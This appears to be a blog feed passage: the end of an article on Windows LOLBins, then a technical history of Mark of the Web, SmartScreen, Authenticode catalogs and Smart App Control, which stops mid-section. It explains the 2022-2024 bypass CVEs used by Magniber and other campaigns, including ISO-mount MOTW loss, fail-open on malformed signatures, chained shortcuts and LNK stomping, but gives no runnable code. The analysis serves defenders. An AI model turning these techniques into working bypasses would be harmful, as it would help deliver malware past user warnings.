Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the signature trust axis is orthogonal to the behavior trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith's Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft's App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.

The honest defender's posture is therefore not to ask when will Microsoft fix this? but how thin can the layered SOTA make the residual?. The answer in 2026 is thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.

Mark of the Web, SmartScreen, and the Catalog of Trust: How Windows Decides Whether to Warn You

noreply@paragmali.com (Parag Mali) — Wed, 13 May 2026 00:00:00 GMT

Windows decides whether a file is safe to run by stacking three independent trust signals: **Mark of the Web** (an NTFS alternate data stream tagging where the file came from), **SmartScreen Application Reputation** (a cloud lookup against Microsoft's file-and-publisher telemetry), and **Authenticode catalog files** (PKCS#7 containers that vouch for the hashes of in-box and driver binaries). The 2022-2024 bypass arc -- seven Security Feature Bypass advisories from Magniber's malformed-Authenticode ransomware to Elastic's LNK-stomping disclosure -- proved that every break is a *propagation* or *parser* failure, never a cryptographic one. Smart App Control on Windows 11 22H2+ is Microsoft's synthesis: a code-integrity policy gated by the same reputation oracle SmartScreen uses, fail-closed by construction. Except it silently disables itself on devices whose telemetry suggests the user would override it anyway.

1. A Double-Click That Should Have Warned You

It is October 2022. A user receives an email that looks like a shipping notice from a familiar vendor. They click the attachment, which is a .iso file. Microsoft Edge dutifully saves the download to disk and writes Mark of the Web onto it. They double-click the ISO. Windows Explorer mounts it as a virtual drive letter. They double-click a .lnk file inside. A JScript payload runs. Magniber ransomware encrypts their files.

The Attachment Execution Service was registered. SmartScreen was enabled. Microsoft Defender was up to date. Nothing warned them.

A few weeks later this would be catalogued as CVE-2022-41091 [@nvd-nist-gov-2022-41091] and patched on Microsoft's November 2022 Patch Tuesday, the same day CISA added it to the Known Exploited Vulnerabilities catalog [@cisa-gov-vulnerabilities-catalog]. The root cause was small enough to fit in a sentence: when Explorer mounted the ISO as a virtual drive, the files visible through that mount inherited no Zone.Identifier alternate data stream from the parent container, so the Attachment Execution Service had nothing to react to and SmartScreen was never invoked. The trust chain broke at a propagator, not at a cipher.

sequenceDiagram participant User participant Edge participant Explorer participant ISOmount as ISO mount participant LNK participant JScript participant AES as Attachment Execution Service participant SS as SmartScreen User->>Edge: Click email attachment Edge->>Edge: Save .iso, write Zone.Identifier ADS Edge->>SS: Reputation check on .iso SS-->>Edge: Unknown, two-stage prompt User->>Explorer: Double-click .iso Explorer->>ISOmount: Mount as virtual drive Note over ISOmount: MOTW NOT propagated to mounted files (CVE-2022-41091) User->>LNK: Double-click .lnk inside mount LNK->>AES: launch target AES-->>AES: No Zone.Identifier present Note over AES,SS: SmartScreen NEVER invoked AES->>JScript: Run payload JScript->>User: Magniber encrypts files

The point of this article is that the Magniber chain is one of seven Security Feature Bypass advisories in a two-year arc that together describe how Windows answers a deceptively simple question: is it safe to run this file? The answer, when you take it apart, is three independent decisions stacked on top of each other. The first decision asks the file system where did this come from? and is answered by Mark of the Web. The second decision asks the cloud what does the world think of this? and is answered by SmartScreen Application Reputation. The third decision asks a signed catalog is this file's hash vouched for by a publisher Microsoft trusts? and is answered by Authenticode and the catalog files in CatRoot.

A piece of metadata that records the origin of a file Windows did not produce itself. Originally a `` HTML comment recognised from Internet Explorer 4 (1997) and auto-written by Internet Explorer's Save As path from Internet Explorer 5 (1999), MOTW has lived since Windows XP SP2 as an NTFS alternate data stream named `Zone.Identifier` containing an INI-style `[ZoneTransfer]` block. Its only job is to let downstream consumers (SmartScreen, Office Protected View, the Attachment Manager) know that a file came from outside the local machine. It is a hint, not a cryptographic origin proof.

Each of those three layers has a different failure mode. The 2022-2024 bypass arc weaponised one of those failure modes per year. CVE-2022-41091 was a propagation failure in the origin layer. CVE-2022-44698 [@nvd-nist-gov-2022-44698] was a parse failure in the reputation layer. CVE-2023-36025 was a prompt-not-invoked failure in the shortcut-handling code that fronts the reputation layer. Each one tells you something about which layer was supposed to fire and didn't.

Where this is headed: by the end of the article you should be able to draw the three layers from memory, name the propagator path that failed in each CVE, and predict where the next bypass will land. The structure is historical and then synthetic. We will trace MOTW from a 1997 HTML comment to the modern NTFS stream, follow SmartScreen from a 2006 phishing list to a kernel-adjacent execution gate, watch Authenticode catalogs go from a 2000 driver-signing convenience to the off-line trust root that survives SmartScreen outages, and then put the three back together inside Smart App Control on Windows 11. The 2022-2024 CVE arc is the thread that holds the narrative together because every advisory in it is a propagator break, and a propagator break is exactly what the three-layer architecture is designed not to tolerate.

2. "Saved From URL": The Origin Tag Before It Was a Stream

Mark of the Web began life as a single HTML comment that Microsoft Learn's compatibility note [@learn-microsoft-com-compatibility-ms537628vvs85]) dates to "recognized starting with Microsoft Internet Explorer 4.0" (September 1997). Internet Explorer 5 (March 1999) was the first IE release whose Save As path auto-wrote the comment; IE4 was the first to recognise it. The comment looked like this:

<!-- saved from url=(NNNN)... -->

The number in parentheses is the length of the URL, in characters. The whole comment had to appear in the first 2,048 bytes of a locally saved HTML file. The token about:internet is the documented placeholder for the generic Internet zone, used when the original URL is not available. If Internet Explorer found such a comment there on open, IE pretended the file had come from that URL rather than from the local file system. The full Microsoft Learn lineage continues: "Beginning with Microsoft Internet Explorer 6 for Windows XP Service Pack 2 (SP2), you can also add the comment to multipart HTML (MHT) files and to XML files."

That sounds like a small detail. It was a defensive patch on a much bigger architectural decision. Alongside it, with Internet Explorer 4.0 in 1997, Microsoft had introduced the URLZONE enumeration [@learn-microsoft-com-apis-ms537175vvs85]) -- a small integer table whose five named defaults put every URL into one of five buckets. The buckets are still in urlmon.h today:

Value	Constant	Meaning
0	`URLZONE_LOCAL_MACHINE`	The local machine itself (`file://`, in-process resources)
1	`URLZONE_INTRANET`	The corporate intranet
2	`URLZONE_TRUSTED`	The user-configured Trusted Sites list
3	`URLZONE_INTERNET`	The public Internet
4	`URLZONE_UNTRUSTED`	The user-configured Restricted Sites list

A five-value default enumeration introduced in Internet Explorer 4.0 (1997) that assigns a single integer to every fully qualified URL. The five named constants (`URLZONE_LOCAL_MACHINE`=0 through `URLZONE_UNTRUSTED`=4) occupy the predefined range `URLZONE_PREDEFINED_MIN`=0 to `URLZONE_PREDEFINED_MAX`=999; administrator- or IE-configured custom zones can occupy the reserved `URLZONE_USER_MIN`=1000 to `URLZONE_USER_MAX`=10000 range. In practice all observed downstream consumers key on the five defaults. Every later Windows trust signal -- MOTW, SmartScreen, Smart App Control -- ultimately resolves a file to one of these integers via the IInternetSecurityManager::MapUrlToZone API [@learn-microsoft-com-apis-ms537133vvs85]). "Zone 3" and "Internet Zone" are the vocabulary every later layer inherits.

The asymmetry that mattered was zone 0. Content loaded from the Local Machine Zone got the most-privileged ActiveX, scripting, and cross-frame policy Microsoft documented [@learn-microsoft-com-apis-ms537183vvs85]) for any of the five zones. So if an attacker could get an HTML page onto your disk and trick you into opening it locally, that page ran with strictly more authority than the same page would have had if served from attacker.example. The whole MOTW HTML comment exists to undo that gift: it told IE "treat this saved page as if it came from the originating Internet URL, not from file://."The Internet Zone (ZoneId=3) is the only URLZONE value that uniformly triggers downstream consumers like SmartScreen, Office Protected View, and the Attachment Manager. Files marked ZoneId=2 (Trusted) bypass the prompt, an asymmetry that has its own history of social-engineering misuse over the years.

From HTML comment to NTFS stream

The HTML-comment form had one structural problem: it only worked for HTML. By 2003, the dominant delivery formats were .exe, .zip, .doc, and .scr -- formats with no obvious place to carry a comment that survived round-trips through editors and archivers. The 2004 Attachment Manager documentation [@support-microsoft-com-ee9b-cd795ae42738] records the Windows XP SP2 response: move the origin tag out-of-band, into an NTFS alternate data stream that any process could read by appending :Zone.Identifier:$DATA to the file path.

An NTFS feature that lets a file carry multiple named secondary data streams in addition to its primary content. Streams are addressed with the syntax `filename:streamname:type`. A file `payload.exe` can have a sidecar stream `payload.exe:Zone.Identifier:$DATA` that any process with read access to the file can open. Streams are invisible to most ordinary tools (`dir`, copy-paste through Windows Explorer between NTFS volumes preserves them; copies onto FAT/exFAT lose them silently).

The MS-FSCC Zone.Identifier reference [@learn-microsoft-com-8c39-2516a9df36e8] is the normative description: "Windows Internet Explorer uses the stream name Zone.Identifier for storage of URL security zones. The fully qualified form is sample.txt:Zone.Identifier:$DATA. The stream is a simple text stream of the form: [ZoneTransfer] ZoneId=3." The whole protocol is one INI block in UTF-16 LE. Read the stream, parse the integer, you have the zone.

Three things shipped together in XP SP2 in August 2004 and are still the load-bearing primitives in Windows 11 today. They are worth listing as a set because every later trust mechanism consumes them:

The Attachment Execution Service. An OS service that intercepts file launches initiated by browsers, mail clients, and IM apps. It looks up the file's Zone.Identifier, decides which per-zone policy applies, and either runs the file silently, prompts the user, or refuses.
The Zone.Identifier stream itself. The INI block above, written by any "quarantine-aware" downloader (IE6, then Edge, Outlook, OneDrive, Teams; later 7-Zip, WinRAR, and most major third-party tools).
The IZoneIdentifier [@learn-microsoft-com-apis-ms537032vvs85]) COM interface. The supported programmatic read/write surface for the stream, in urlmon.h / urlmon.dll. Microsoft Learn dates it: "The IZoneIdentifier interface was introduced in Microsoft Internet Explorer 6 for Windows XP Service Pack 2 (SP2)."

The Windows OS service introduced in XP SP2 (2004) that intercepts file launches initiated by browsers, mail clients, and other registered "trust-aware" callers. It reads the file's `Zone.Identifier` ADS via the Shell COM surface and applies per-zone policy: launch silently, prompt the user with the Attachment Manager dialog, or refuse. SmartScreen integrates as a consumer of the Attachment Execution Service on Windows 8 and later.

The Internet Explorer 6 update of 2004 was the first to write the ADS on download. Later releases of IE (7, 8, 9, 10) added the IZoneIdentifier2 interface with new keys -- AppDefinedZoneId and LastWriterPackageFamilyName [@learn-microsoft-com-apis-mt243886vvs85]) -- and a fully populated stream from a 2025-era Edge download looks like this:The LastWriterPackageFamilyName field is how downstream consumers know which AppContainer wrote the ADS, which the Office macro-blocking logic uses to differentiate, for example, "this file was downloaded by Edge" from "this file was extracted by an unspecified archiver."

[ZoneTransfer]
ZoneId=3
ReferrerUrl=<origin page URL>
HostUrl=<payload URL>
LastWriterPackageFamilyName=Microsoft.MicrosoftEdge_8wekyb3d8bbwe
AppZoneId=3

That seemingly minor [ZoneTransfer] ZoneId=3 integer is the input to every higher-level trust decision Windows makes about a downloaded file for the next two decades. Office's default blocking of macros from internet-zone files [@learn-microsoft-com-macros-blocked] operationally consumes this same ZoneId=3. SmartScreen consumes it. WDAC + ISG consumes it. Smart App Control consumes it. Five integers and a sidecar stream, and Windows has a story for "where did this come from?"

What it does not have yet, in 2004, is a story for "what does the world think of this file?" The next several years are the history of that second question.

3. What Failed Before: HTML Comments, Block Lists, and the Limits of Static Knowledge

Two early attempts at "is this file safe?" failed in instructive ways. Both put the answer either inside the file or inside a static list, and attackers moved faster than either could update.

The in-band tag

The HTML-comment MOTW of 1999-2003 was the first attempt. It worked, narrowly, for the one attack it was built to stop: a saved HTML page that ran with Local-Machine-Zone trust. But it had three structural failings the moment you stepped outside HTML.

First, it was in-band. Any text editor or third-party HTML processor that did not understand the comment convention would happily strip it as whitespace. A .zip extraction tool that round-tripped through a temp file lost it. So did a "Save As" path through a non-IE browser. The whole protocol depended on every reader of HTML preserving a comment that looked, to anyone unfamiliar, like noise.

Second, it was format-specific. The attack vector by 2002 had moved to .exe, .scr, .com, and the Office macro formats. None of these had a sanctioned place to carry an origin annotation. You could embed something in a custom resource section, but readers and writers of the file format would not preserve it.

Third, it was consumer-specific. Only Internet Explorer (and, briefly, Outlook through its HTML rendering) knew to look for the comment. A user who opened the file in Word, Excel, a third-party HTML editor, or a .htm-handling email client got no benefit. The XP SP2 NTFS-ADS move solved all three problems at once: out-of-band (no in-band parser conflicts), format-agnostic (every file type can carry an ADS), and consumer-agnostic (any code path that knows to ask can read the stream).

The static block list

The other pre-modern attempt was the IE7 Phishing Filter [@learn-microsoft-com-defender-smartscreen], which shipped with Internet Explorer 7 on October 18, 2006 [@en-wikipedia-org-wiki-internetexplorer7]. The Microsoft Defender SmartScreen overview page on Microsoft Learn dates the SmartScreen lineage back to that period (the original blog posts are no longer at stable URLs, but the lineage statement on the live overview page is the canonical reference). The IE7 design was a daily-refreshed list of known-bad URLs plus a small set of heuristics on URL structure that would catch obvious phishing patterns inline.

It was the right instinct and the wrong primitive. Daily-refreshed fell catastrophically against fast-flux DNS, which rotated phishing domains every few minutes. URL-only meant the filter had no opinion about a file you had already downloaded, since downloads were addressed by URL only until the file arrived on disk. By 2008 attackers had taught the system that the URL was not the right key. The right key was the file.

That insight, attributed contemporaneously to the IE8 and IE9 program-management teams (Eric Lawrence's IEInternals-era writing is the most-cited surviving record), became the IE8 SmartScreen Filter [@learn-microsoft-com-defender-smartscreen] when Internet Explorer 8 shipped on March 19, 2009 [@en-wikipedia-org-wiki-internetexplorer8] and then SmartScreen Application Reputation [@elastic-co-app-control] in Internet Explorer 9 (announced 2010, shipped March 14, 2011) [@en-wikipedia-org-wiki-internetexplorer9]. The Elastic Security Labs writeup Dismantling Smart App Control [@elastic-co-app-control] puts the historical pivot in one sentence: "Microsoft SmartScreen has been a built-in OS feature since Windows 8." What Windows 8 did in October 2012 was move the SmartScreen check out of Internet Explorer entirely and into the Shell's IAttachmentExecute execute path, so any file with Zone.Identifier:ZoneId=3 got a reputation check at launch time, regardless of which browser had downloaded it.

The generational shift that matters is not the move into the Shell, though. It is the move from "is this URL on a list?" to "what is this file's prevalence and publisher reputation across our global telemetry?" That is a different question with a different answer, and it required a different machine.

A pure file-hash reputation system has an obvious cold-start problem. Every brand-new build of legitimate software has a brand-new hash. If the only knob is "have we seen this hash before?", every legitimate first-day install triggers a warning, and over time users learn to click through warnings reflexively. Add a *publisher* signal -- the Authenticode certificate the file is signed with -- and the reputation system can carry confidence forward across builds: a publisher who has signed thousands of well-reputed binaries gets the benefit of the doubt on the next build, before any individual hash has accumulated telemetry. The publisher signal does for files what TLS server certificates do for URLs: it lets the system attribute behaviour to a long-lived identity rather than to ephemeral content.

Microsoft already had a publisher signal in 1996 -- Authenticode [@en-wikipedia-org-wiki-codesigning], the PE-embedded code-signing scheme that shipped with Internet Explorer 3 in August 1996 [@en-wikipedia-org-wiki-internetexplorer3] and is formally specified by the 2008 Windows Authenticode Portable Executable Signature Format [@download-microsoft-com-d599bac8184a-authenticodepedocx]. And it already had a way to vouch for many files at once -- catalog files, the .cat format that had shipped with Windows 2000 for driver-package signing. The next generation of file trust would weave all three signals together. Origin from MOTW. Reputation from SmartScreen. Publisher attestation from Authenticode and catalogs. That weave is the subject of the next section, and it is, finally, where the 2022-2024 CVEs land.

4. The Evolution, Generation by Generation

Each generation of Windows file trust was forced into existence by a specific failure of the previous one. The evolution was not planned. It was driven by attackers.

flowchart LR G0["Gen 0 (1999-2003) -- HTML-comment MOTW -- + Local Machine Zone"] G1["Gen 1 (2004-2009) -- NTFS Zone.Identifier ADS -- + Attachment Execution Service"] G2["Gen 2 (2009-2018) -- SmartScreen App Reputation -- cloud lookup + 2-stage UX"] G3["Gen 3 (2018-2024+) -- MOTW propagation hardening -- + catalogs + Smart App Control"] G0 -->|"format-specific, -- trivially stripped"| G1 G1 -->|"binary tag, -- no graduated score"| G2 G2 -->|"fail-open on -- parse error"| G3 G3 -->|"propagator gaps -- still active"| G3

Generation 1 (2004-2009): the NTFS Zone.Identifier ADS

The insight was that the origin tag should be out-of-band. The mechanism was three primitives shipped together in XP SP2: the [ZoneTransfer] INI block in the Zone.Identifier stream, the IZoneIdentifier / IAttachmentExecute COM surface, and the Attachment Execution Service. The Outflank red-team writeup Mark-of-the-Web from a Red Team Perspective [@outflank-nl-teams-perspective] -- published in March 2020 and widely treated as the canonical pre-CVE documentary record of Generation 1's failure modes -- enumerates what Generation 1 could and could not do.

What it could do: survive copies through Windows Explorer between NTFS volumes, identify the originating zone integer, and trigger the Attachment Manager prompt for executable launches.

What it could not do: distinguish the 40-millionth download of Adobe Reader from the first-ever download of flash-update.exe. A binary "Internet zone, yes or no" tag has no opinion about the file's reputation. It also could not survive copies onto FAT or exFAT, did not survive most archiver extractions in the 2010s, and was trivially stripped by any user-mode process via DeleteFile [@learn-microsoft-com-fileapi-deletefilew] on the ADS name. The Outflank post enumerated the operational gaps and the SANS Internet Storm Center diary by Didier Stevens [@isc-sans-edu-diary-28810] operationalised the test case for 7-Zip specifically.

The failure that pushed the system to Generation 2 was simple. A binary tag cannot rank-order ten million Internet-zone downloads. The 2008-2010 attacker pattern was high-volume file rotation: deliver the same payload under thousands of fresh URLs and filenames, defeat any URL-based block list, and let the file's "Internet-zone yes/no" tag carry zero information about whether the specific bytes on disk were known-bad, known-good, or simply unknown. The reputation oracle was the answer.

Generation 2 (2009-2018): SmartScreen Application Reputation

The insight was that "is this file safe?" needs a graduated score, not a binary tag, computed against global telemetry. The mechanism is what Microsoft Learn calls Microsoft Defender SmartScreen [@learn-microsoft-com-defender-smartscreen], and the reputation-for-developers page [@learn-microsoft-com-smartscreen-reputation] documents the two-signal model in present-day terms. The cloud lookup is keyed on three things at once: the SHA-256 of the file content, the Authenticode publisher certificate's identity (when there is one), and the URL the file came from (the HostUrl and ReferrerUrl from the MOTW ADS, plus the in-browser navigation URL where applicable).

The backend returns one of three verdicts: known-good, known-bad, or unknown. The user-visible artefact is the two-stage "Windows protected your PC" prompt -- described in detail in §6.2 -- designed to ensure a single oblivious click cannot launch an unreputed binary.

Generation 2 worked well enough for several years. The failure that pushed it to Generation 3 was structural and load-bearing for the rest of this article. It was: the SmartScreen lookup gates the warning, so any way to make the lookup error out gates the warning off.

In October 2022, Magniber ransomware actors started signing JS payloads with deliberately malformed Authenticode signatures. The malformed signature was not an attempt to forge anything; it was an attempt to crash the parser. HP Wolf Security's campaign analysis [@threatresearch-ext-hp-com-software-updates] by Patrick Schläpfer documented the September-2022 pivot from MSI/EXE to JS delivery; Will Dormann linked the campaign to a SmartScreen bug on social media in mid-October; and Mitja Kolsek's October 2022 0patch blog post [@blog-0patch-com-bypassing-motwhtml] reverse-engineered the root cause and shipped a micropatch 46 days before Microsoft's December 2022 fix, which was eventually catalogued as CVE-2022-44698 [@nvd-nist-gov-2022-44698].

Mitja Kolsek and the ACROS Security team behind 0patch have repeatedly shipped third-party micropatches for SmartScreen-class bypasses ahead of Microsoft, and the October 2022 CVE-2022-44698 patch is the cleanest case to study. The methodological lesson is that a bug fully reproducible in user mode, with a localised binary patch, can be fixed by a small independent team faster than a Patch Tuesday cycle. The same pattern would later apply to the 2024 LNK-stomping family. The cost of the approach is fragility: 0patch's binary patches target specific OS build numbers and must be re-issued for each Windows servicing update.

Google Threat Analysis Group's Benoit Sevens published the canonical pseudocode reconstruction [@blog-google-smartscreen-bypass] of the bug in March 2023 -- which both reused 0patch's earlier flow diagram and added the function-level walk-through -- alongside the CVE-2023-24880 [@nvd-nist-gov-2023-24880] disclosure that documented Microsoft's incomplete patch:

By default, shdocvw.dll's `DoSafeOpenPromptForShellExec` will not display a security warning, and if the `smartscreen.exe` request returns an error for whatever reason, `DoSafeOpenPromptForShellExec` proceeds with using the default option and runs the file without displaying any security warnings to the user. -- Benoit Sevens, Google TAG, March 2023

That is the architectural confession. The function that fronts the SmartScreen lookup is named DoSafeOpenPromptForShellExec. It interprets a parser error from smartscreen.exe as "no warning needed" rather than as "the lookup failed, default to fail-closed." A malformed Authenticode signature -- a payload-controlled input -- crashes the parser. The function does what it was written to do.The CVE-2023-24880 sequel is illustrative. Microsoft's December 2022 patch narrowed the parser's error handling for one specific malformed-signature shape. Within three months, Magniber actors had pivoted from JS files to MSI files using a different malformed-signature shape that hit the same fail-open code path in a still-unpatched branch. Google TAG observed "over 100,000 downloads of the malicious MSI files since January 2023, with over 80% to users in Europe." The patch fixed the symptom, not the root cause.

sequenceDiagram participant Shell as Explorer/Shell participant DSOP as shdocvw.dll -- DoSafeOpenPromptForShellExec participant SS as smartscreen.exe participant SR as signature_info::retrieve participant Cloud as App Reputation Service Shell->>DSOP: ShellExecute on MOTW-tagged file DSOP->>SS: Reputation request -- (hash + cert + URL) SS->>SR: Parse Authenticode signature Note over SR: Malformed signature -- parser returns error SR-->>SS: ERROR SS-->>DSOP: ERROR (not "fail-closed") Note over DSOP: CVE-2022-44698: -- treats ERROR as "no warning needed" DSOP->>Shell: Run file (no prompt) Note right of Cloud: Cloud never queried

Generation 3 (2018-2024+): propagation hardening, catalogs revived, Smart App Control

If Generation 2's defining failure is the parse class, Generation 3's defining failure is the propagation class. The insight is that the chain is only as strong as its weakest propagator: every code path that copies, extracts, mounts, or saves a marked file must propagate the origin tag, or the entire downstream stack is silently disabled for the descendants of that path.

A multi-year hardening campaign followed. The names below are the propagator paths Microsoft (and the wider vendor community) had to teach to honour the MOTW contract:

7-Zip 22.00 (June 2022). Igor Pavlov added the -snz command-line switch and the WriteZoneIdExtract registry value. With the option enabled, 7-Zip propagates the parent archive's Zone.Identifier to each extracted member. Didier Stevens documented the new flag in a SANS Internet Storm Center diary [@isc-sans-edu-diary-28810]; the community-maintained archiver-MOTW-support-comparison matrix on GitHub [@github-com-support-comparison] records which archivers propagate, which do so only for specific file extensions, and which still do not.
Outlook attachment-save (2022). Outlook's save-attachment path was taught to write Zone.Identifier:ZoneId=3 on the saved file. Office Insider builds carried this in early 2022 and general availability followed later that year.
Explorer ISO/IMG/VHD/VHDX mount (November 2022). CVE-2022-41091 [@nvd-nist-gov-2022-41091] -- the bug that opens this article. Will Dormann's disclosure resulted in the November 2022 patch that taught Explorer's container-file mount path to copy the parent file's Zone.Identifier onto every file visible through the mount. BleepingComputer's coverage [@bleepingcomputer-com-push-malware] quoted Microsoft's Bill Demirkapi confirming the propagation root cause.
Internet Shortcut .url handling (November 2023). CVE-2023-36025 [@nvd-nist-gov-2023-36025], exploited in the Phemedrone Stealer campaign that Peter Girnus, Aliakbar Zahravi, and Simon Zuckerbraun documented in a Trend Micro Research writeup [@trendmicro-com-phemedrone-stealhtml]. A crafted .url file with a URL= field pointing at a remote .cpl payload bypassed the SmartScreen prompt entirely, even though the .url itself carried MOTW. The failure was that the .url handler chose not to invoke SmartScreen for certain target types. BleepingComputer's reporting [@bleepingcomputer-com-phemedrone-malware] on the in-the-wild exploitation gives the practitioner context.
Shortcut chains (February 2024). CVE-2024-21412 [@nvd-nist-gov-2024-21412] -- a .url pointing at another .url (typically on an attacker-controlled WebDAV share). Trend Micro's Water Hydra writeup [@trendmicro-com-defender-shtml] by Peter Girnus documented the use of this chain to deliver the DarkMe RAT to financial-market traders, with the DarkGate companion writeup [@trendmicro-com-windows-smahtml] covering a parallel campaign. BleepingComputer's coverage [@bleepingcomputer-com-darkme-malware] records the February 13 patch date.
Shortcut chains, again (April 2024). CVE-2024-29988 [@nvd-nist-gov-2024-29988] and ZDI-24-361 [@zerodayinitiative-com-24-361] -- the bypass of the bypass, jointly credited to Peter Girnus (Trend Micro ZDI) and Dmitrij Lenz and Vlad Stolyarov of Google TAG. Microsoft's February 2024 patch had closed one chained-shortcut path but left a sibling path open. The classification migrated from "Internet Shortcut Files SFB" to "SmartScreen Prompt SFB," reflecting that the failure had moved up the call chain into the prompt-display code itself. BleepingComputer [@bleepingcomputer-com-malware-attacks] and Help Net Security [@helpnetsecurity-com-2024-29988] covered the joint April-2024 disclosure.
LNK extended-path stomping (September 2024). CVE-2024-38217 [@nvd-nist-gov-2024-38217], disclosed by Joe Desimone of Elastic Security Labs as part of the Dismantling Smart App Control [@elastic-co-app-control] writeup. A .lnk with a non-canonical LinkTarget IDList -- a path with a trailing dot or space, or an unusual extended-path encoding -- triggers Explorer's canonicalisation pass to rewrite the file in place, and the rewrite happens before CheckSmartScreen is called. The act of rewriting strips the Zone.Identifier stream. The trust signal is erased between the moment the file is opened and the moment SmartScreen would have inspected it. AhnLab's independent writeup [@asec-ahnlab-com-en-90299] confirms the September 10, 2024 patch date and the LNK-stomping classification. Elastic reported VirusTotal evidence of in-the-wild samples dating back six years.

Alongside the propagation campaign, Microsoft also shipped Smart App Control with Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update] (Panos Panay's launch announcement). SAC is the integration layer that brings the third trust layer -- the catalog of trust we are about to formalise -- into the same policy decision as MOTW and SmartScreen. Microsoft Learn's SAC overview [@learn-microsoft-com-control-overview] describes it as "an app execution control feature that combines Microsoft's app intelligence services and Windows' code integrity features." It also documents a silent auto-disable behaviour we will return to in §9 as one of the article's headline open problems.

Anchoring each generation to a person

The 2022-2024 arc has names attached to each disclosure. The history is worth pinning to people because the engineering choices were not made by an OS, they were made by humans:

CVE	Year	Class	Reporter / disclosing org
CVE-2022-41091	2022	Container-file MOTW propagation	Will Dormann / Bill Demirkapi (MSRC) analysis
CVE-2022-44698	2022	Malformed-Authenticode fail-open	Mitja Kolsek (0patch); Patrick Schläpfer (HP Wolf); Will Dormann
CVE-2023-24880	2023	MSI variant of the same fail-open	Benoit Sevens (Google TAG)
CVE-2023-36025	2023	`.url` SmartScreen-not-invoked	Anonymous via MSRC; Peter Girnus et al. (Trend Micro / ZDI)
CVE-2024-21412	2024	Chained-shortcut SFB (Water Hydra / DarkGate)	Peter Girnus (Trend Micro ZDI)
CVE-2024-29988	2024	Bypass-of-the-bypass	Peter Girnus (Trend Micro ZDI); Lenz and Stolyarov (Google TAG)
CVE-2024-38217	2024	LNK extended-path stomping	Joe Desimone (Elastic Security Labs)

The pattern reveals itself when you read the column titles. None of these are cryptographic breaks. None of them attack the SHA-256 hash, the PKCS#7 signature, the certificate chain, or the publisher key. Every single one is a propagation, parser, or canonicalisation failure -- a code path that either did not carry MOTW forward, did not fail-closed on a parse error, or did not invoke the SmartScreen prompt at all.

Note: Every CVE in this article is a missing MOTW, an unparsed signature, or a canonicalisation reorder. Not a broken hash function. Not a forged certificate. Not a chosen-message attack. The trust primitives Windows has shipped since the late 1990s (NTFS alternate data streams, PKCS#7 SignedData, Authenticode SpcIndirectDataContent, SHA-256) remain unbroken. The bugs live in the code that decides when to read, when to verify, and what to do on a parse error.

By 2024 the central pattern is clear, but stating it leaves one question: what's the unifying insight that makes all three trust layers work as a single system?

5. The Catalog of Trust: Three Decisions, Not One

The synthesis is small enough to fit on a sticky note. Windows file trust is not one decision. It is three independent decisions stacked on top of each other.

The three decisions ask three different questions of three different systems:

The OS asks the file system, where did this come from? The answer is the MOTW Zone.Identifier ADS. The contract is propagation: every code path that copies, extracts, mounts, or saves the file must honour the contract or the answer is lost.
The OS asks the cloud, what is this file's reputation? The answer is the SmartScreen Application Reputation verdict (and, for SAC and WDAC + ISG, the Intelligent Security Graph verdict, which uses the same backend). The contract is fail-closed on lookup error: if the SHA-256 hash and Authenticode publisher identity cannot be evaluated, the system must default to the warning, not skip it.
The OS asks a signed catalog, is this file's hash vouched for by a publisher Microsoft trusts? The answer comes from WinVerifyTrust [@learn-microsoft-com-wintrust-winverifytrust] falling through to a catalog lookup via CryptCATAdminCalcHashFromFileHandle [@learn-microsoft-com-mscat-cryptcatadmincalchashfromfilehandl] and the catalog walk under %SystemRoot%\System32\CatRoot. This is the off-line trust root: it requires no cloud, no telemetry, and no graduated score.

A PKCS#7 / CMS `SignedData` container whose content is a list of cryptographic hashes plus per-member attributes (`OSAttr`, `HWID`, `MemberInfo`). A single signature vouches for the integrity of every listed file at once. The format has been the WHQL driver-signing primitive since Windows 2000 (Microsoft Learn, *Catalog files and digital signatures* [@learn-microsoft-com-catalog-files]) and reuses the `SpcIndirectDataContent` structure defined in the 2008 *Windows Authenticode Portable Executable Signature Format* specification [@download-microsoft-com-d599bac8184a-authenticodepedocx].

Calling the three-layer composition a "catalog of trust" makes the symmetry explicit. Origin gives you provenance. Reputation gives you experience. Signature gives you attribution. The bypass class in the 2022-2024 arc is whichever layer has no answer: CVE-2022-41091 was the origin layer with no answer (MOTW not propagated through the ISO mount); CVE-2022-44698 was the reputation layer with no answer (the lookup errored out); CVE-2023-36025 was again the reputation layer with no answer, this time because the consuming code did not invoke it at all.

Windows file trust is not one decision, it is three -- where did this come from, what does the world think of it, and who vouches for it? Each layer answers a different question, and the bypass class is whichever layer is *missing* its answer. flowchart TD File["Downloaded file -- on disk"] Origin["LAYER 1: Origin -- Zone.Identifier ADS -- (MOTW)"] Reputation["LAYER 2: Reputation -- SmartScreen / ISG -- (file hash + cert + URL)"] Catalog["LAYER 3: Catalog signature -- WinVerifyTrust fall-through -- (CatRoot / CatRoot2)"] SAC["Smart App Control -- (WDAC policy)"] Verdict{"Run / Warn / Block"} File --> Origin File --> Reputation File --> Catalog Origin --> SAC Reputation --> SAC Catalog --> SAC SAC --> Verdict

The breakthrough that crystallised in late 2022 is treating the three not as separate features but as a layered, fail-closed defence with explicit propagation rules. Origin must propagate across every writer. Reputation must fail-closed on parser failure. Signature must be available even when the cloud is unreachable. And one decision, the one that finally executes, must compose all three.

Smart App Control is the canonical example of "all three layers composed." Microsoft Learn's SAC overview [@learn-microsoft-com-control-overview] describes the policy: in Enforcement mode, SAC blocks every binary that is not (a) recognised as known-good by the app intelligence service or (b) signed by a certificate chained to a CA in the Microsoft Trusted Root Program. The first clause is the reputation layer. The second clause is the catalog/signature layer. And both clauses are conditioned on the trigger: the file has MOTW, the launch goes through the Shell, and the kernel-mode block path engages before the binary maps. The first clause depends on the third trust layer because the Trusted Root signature is the off-line escape hatch that lets SAC run when the cloud is unreachable.

